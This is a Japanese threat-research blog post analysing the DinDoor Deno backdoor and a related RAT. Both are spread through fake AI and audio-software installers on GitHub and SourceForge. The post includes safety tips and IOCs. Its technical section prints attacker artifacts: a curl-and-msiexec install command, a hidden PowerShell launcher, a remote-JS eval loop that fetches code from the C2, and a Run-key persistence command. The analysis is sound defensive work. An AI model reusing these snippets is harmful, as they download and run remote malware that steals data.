脅威ハンティング活動の過程で、ChatGPT、Claude、AutoTune、Kontaktなどの人気ソフトウェアになりすましたフェイク・インストーラーとプラグインがGitHubとSourceForgeで配布されており、DinDoorとして知られるDenoバックドアを配信していることを発見しました。攻撃者は侵害されたYouTubeチャンネルを使用して、これらのプラットフォームへのリンクを配布しています。
DinDoorは最終的に、Deno JavaScriptランタイムも使用するステルス型リモートアクセストロイの木馬(RAT)を含むさまざまな種類のマルウェアをドロップします。
攻撃者は、従来の検出方法をバイパスするために、BunやDenoなどの代替JavaScriptランタイムを悪用しています。最近の調査の1つで、攻撃者がBunを初期感染ベクトルとしてNWHStealerを配布するために使用しているしくみを文書化しました。また3月に、ThreatDownの研究者は、攻撃者がDenoを使用してClickFixルアーを含むマルチステージ感染チェーンを通じてCastleLoaderを配信しているのを確認しました。
これらのキャンペーンはScoop(Windows向けの代替インストーラー)とWinGet(公式Windowsパッケージマネージャー)を使用して、被害者のマシンにDenoをインストールします。その後、Denoランタイムを使用して、追加のペイロードを実行し、ブラウザ、ウォレット、その他のアプリケーションからデータを流出させることができるRAT機能を実行します。これは、マルウェアのトラフィックを隠すためにEdgeを使用する興味深いピア・ツー・ピア機能を備えています。
マルウェア配布に悪用される正当なプラットフォーム
感染チェーンは通常、GitHubまたはSourceForgeからダウンロードされたMSIファイルまたはPowerShellスクリプトを介して開始されます(分析した場合のほとんど)。ユーザーは通常、侵害されたYouTubeチャンネルを経由して、これらの悪質なリポジトリにリダイレクトされます。これらのビデオの現在の総閲覧数は50,000回以上です。


侵害されたYouTubeチャンネルは、異なるソフトウェアを宣伝する投稿を作成し、マルウェアを配布するためにGitHubアカウント間を絶えず切り替えています。

フェイク・ソフトウェアは、クリエーター、AI愛好家、ゲーマー、および技術に精通したユーザーをターゲットに設計されており、GitHubやSourceForgeなどのサイトから非公式ツール、クラックされたソフトウェア、またはコミュニティが配布するインストーラーをダウンロードする可能性が高いです。ChatGPT、Claude、ZENOLOGY、Ableton Live、AutoTune、Kontaktなどの正当なソフトウェアおよびブランドになりすましたフェイクMSIおよびスクリプトを観測しました。

悪質なリポジトリはWindowsとmacOS両方のコマンドを備えています。これらのリポジトリは、ユーザーにターミナルを開いて悪質なコマンドをコピーするよう依頼します。このコマンドはGitHubからMSIをダウンロードして実行します。

悪質なGitHubアカウントは、人気のあるソフトウェアに関連するフェイク・ソフトウェアとプラグインで満たされた複数のリポジトリを作成し、より多くのユーザーを誘き寄せます。

同じバックドアがSourceForgeを通じて配布されていることを発見しました。GearUPと呼ばれる正当なゲームソフトウェアと、BWRと呼ばれるAI透かし除去ソフトウェアになりすましています。


安全を保つ方法
攻撃者は信頼に大きく依存していました。GitHubとSourceForgeは正当なプラットフォームであり、これはフェイク・プロジェクトをより説得力のあるものにしています。GitHubに連絡し、悪質なリポジトリをすぐに削除しましたが、ユーザーは新しいリポジトリが継続的に出現することを予期する必要があります。
安全を保つための簡単な方法をいくつかご紹介します。
- 公式ベンダーのWebサイトからのみソフトウェアをダウンロードしてください。
- 有料ソフトウェアの「無料」バージョン、クラック版、または非公式バージョンに懐疑的になりましょう。
- GitHub、SourceForge、フォーラム、またはファイル共有サイトからのダウンロード、特に新規または不明なアカウントからのダウンロードに注意してください。
- 攻撃者は継続的に新しいプロフィールを作成して、プラットフォーム全体でこのマルウェアを配布しています。何かをダウンロードする前に、開発者または発行者のプロフィール、その評判、および最近作成されたかどうかを確認してください。
- アーカイブの内容、画像、テキストファイルがダウンロードしようとしていたものと一致していることを確認してください。アーカイブ名と構造はしばしば認識可能な悪質なパターンに従っています。
- ファイルを実行する前に、ファイルの発行者とデジタル署名を確認してください。Windowsでは、通常、ファイルを右クリックし、プロパティ > デジタル署名を選択することで確認できます。有効な署名があってもファイルが安全であることは保証されませんが、署名がない、または疑わしい署名は、しばしば警告サインになります。
技術的分析
悪質なGitHubリポジトリは、ユーザーがcmdを開いて悪質なコマンドを実行するよう依頼しています。悪質なコマンドはGitHubからMSIをダウンロードし、msiexecを介してインストールします。これらのリポジトリには、感染チェーンを同様に開始するPowerShellスクリプトが含まれることもあります。
感染チェーンを開始するGitHubでホストされている悪質なコマンドの例:
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
MSIは、MSIで指定されたランダムディレクトリ(InstallationFolderとレジストリ値)にCMDファイルとPowerShellスクリプトをドロップします。これらのMSIで異なる構造を検出しました。CMDファイルの代わりにJavaScriptが含まれているもの、または追加のembeddedファイルが含まれているものもあります。

CMDファイルはPowerShellスクリプトを実行します。分析された感染チェーンでは、名前が変わります。
@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden"

PowerShellスクリプトは以下を担当しています。
- パッケージマネージャーScoopがインストールされていることを確認し、
get.scoop.shの公式スクリプトを使用して、不足している場合はインストールします。ScoopはMicrosoft Windowsのオープンソースのコマンドラインソフトウェアインストーラーおよびパッケージマネージャーです。 - 不足している場合は、ScoopはWinGet(Windowsパッケージマネージャー)をインストールするために使用されます。
- 存在しない場合は、WinGetまたはScoopを使用してDeno(JavaScript/TypeScriptランタイム)をインストールします。
パッケージマネージャーScoopおよびWinGetを使用して、侵害されたマシンに追加ソフトウェアをインストールすることは、攻撃者にさらに多くの柔軟性を与える興味深いアプローチです。
WinGetを使用してDenoをインストールするために実行されるコマンド:
"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent
DinDoor バックドア
次に、以下のステージがダウンロードされたDeno実行可能ファイルで実行されます。
"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js
返されたコード(内部名は「launcher-1」)は、次のステージ(内部名は「launcher-2」)をダウンロードする小さなeval-loop関数です。ダウンロードされたバックドアは、公にDinDoorとして知られています。
var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}
バックドアは永続性を処理し、侵害されたシステムに関する情報をコマンド&制御サーバー(C2)に送信し、C2から返された追加のペイロードとコマンドを実行します。 C2通信に使用されるHTTPエンドポイントは、分析されたケースによって異なります。
バックドアはHTTPエンドポイント(例:/security-pool)からIDを取得し、次にそのIDを使用して/v2{ID}.jsから次のステージを取得します。
取得されたステージは、stdinを介して、ディスクに書き込まずに、以下のコマンドを使用して実行されます。
deno run -A --no-check –
永続性を実現するために、バックドアはPowerShellコマンドを実行して、以前使用されていたダウンローダー「launcher-1」を実行するRUNキーを作成します。
conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js
このバックドアは、分析されたケースでいくつかのマルウェアファミリーを配布しています。このブログでは、配布されたペイロードの1つを分析します。DenoJavaScriptランタイムを使用するRAT。
Deno RAT
配信されたRAT(他の分析されたスクリプトのように)はDenoJavaScript環境を使用し、デバイスを制御し、コマンドとペイロードを実行し、組み込みのstealer モジュールを通じてさまざまなタイプのデータを流出させる完全な機能を備えています。
このRATの特定の名前または帰属を見つかりませんでした。過去には、このRATは、設定内の特定の値に基づいて「Smokest」と呼ばれていました。同様のコメントスタイルと共有インフラストラクチャは、DinDoor開発者とRAT開発者が同じ人物またはチームである可能性があることを示唆しています。
うっかり何か拾ってしまいましたか?
C2通信のHTTPに加えて、RATはWebSocket通信もサポートしており、C2から返されたJSON値isLiveEnabledがtrueに設定されている場合に有効になります。

RATは異なるコマンド(exec、exec-ps、exec-sc、sysinfo、screenshot、stealer)と機能をサポートしています。
- 侵害されたデバイスに関するシステム情報を収集する
- WebSocket上のカスタムVNC実装による完全な双方向制御
- Atomic Wallet、Exodus、Electrum、ByteCoinなどの50以上の暗号資産ウォレット拡張機能と10個の暗号資産ソフトウェアフォルダをターゲットにする
- Chrome、Chromium、Brave、Edge、Avast Browser、Edge、Opera、Vivaldi、CentBrowser、Kometa、Orbitum、360Browser、Chromodoを含むブラウザからデータを収集します。
- Telegram、Discord、Lightcordのデータを流出させる
- クリップボードデータの記録と変更
- フォルダ、ファイルをリストアップし、特定の拡張子を持つファイルからコンテンツを流出させる
- 異なる方法を使用してスクリーンショットを取得する
- 追加のペイロードを実行する
- 任意のプロセスを起動または終了する
- PowerShellでコマンドを実行する
- WebSocket上でSOCKS5プロキシトンネルを確立する
RATの最も興味深い部分の1つは、トラフィックを隠し、検出を難しくするためにEdgeブラウザを使用するピア・ツー・ピアストリーミングモードです。
C2サーバーを経由せずにオペレーターにライブビデオを直接ストリーミングするために、RATはhiddenなMicrosoft Edgeプロセスを生成し、Chrome DevTools Protocol(CDP)を介してそれに接続します。その後、小さなWebRTC HTMLページをEdgeに注入し、正当なブラウザをピア・ツー・ピアビデオリレーに変えます。Denoエージェントは被害者のスクリーンをキャプチャしてH.264エンコードし、フレームをCDP上のEdgeページに渡し、Edgeは暗号化されたWebRTC DataChannelを介してオペレーターのブラウザに直接フォワードします。直接接続を確立するために必要なSDPおよびICEシグナリングは、既存のC2 WebSocketを通じて交換されます。

RATは、サンプル間で異なる可能性のあるC2通信に以下のエンドポイントを使用しています。
/health:C2から「ok」応答をチェックします/token:設定パラメーター、タスク配信、結果、および流出したデータを受信します/vnc/agent/:VNC通信に使用されるWebSocketパス
設定データはBase64エンコードされ、C2との通信で認可トークンとして送信されます。デコードされた設定データ:
{
"buildId": "cd361ef3159f5ce9",
"buildNote": "BWR",
"buildType": "msi-v2",
"proxyUrls": ["{C2}"],
"userId": "…",
"accessTokenHash": "…",
"iat": 1779372546,
"exp": 2094948546
}
「agent-lite」と呼ばれる「light」バージョンを含む、このRATのさまざまなバージョンを見つけました。このバージョンはいくつかのコマンドのみをサポートし、C2通信にCloudflare Workersを使用しています。

謝辞
- DinDoor: https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis
- Smokest: https://x.com/vxunderground/status/2013006601133687004
侵害の指標(IOC)
URL
https[:]//github.com/claude-free-plugin/https[:]//github.com/ai-gen-profihttps[:]//github.com/wharfdemolisherpithttps[:]//sourceforge.net/projects/gearup/https[:]//sourceforge.net/projects/bluewaveremover/
ドメイン
claudescript[.]top:配布ウェブサイトms-telemetry-gateway-us[.]com:C2dakatawebstick[.]com:C2ashpaltlonpro[.]com:C2cf-proxy[.]cloud-analytics-services[.]workers.dev:C2agilemast3r[.]duckdns[.]org:C2geralnewlong[.]com:C2hngfbgfbfb[.]cyou:C2logicalnewrestore[.]com:C2
IP
23[.]227[.]196[.]107:C245[.]137[.]99[.]121:C231[.]57[.]129[.]23:C266[.]78[.]40[.]107:C2193[.]233[.]198[.]132:C2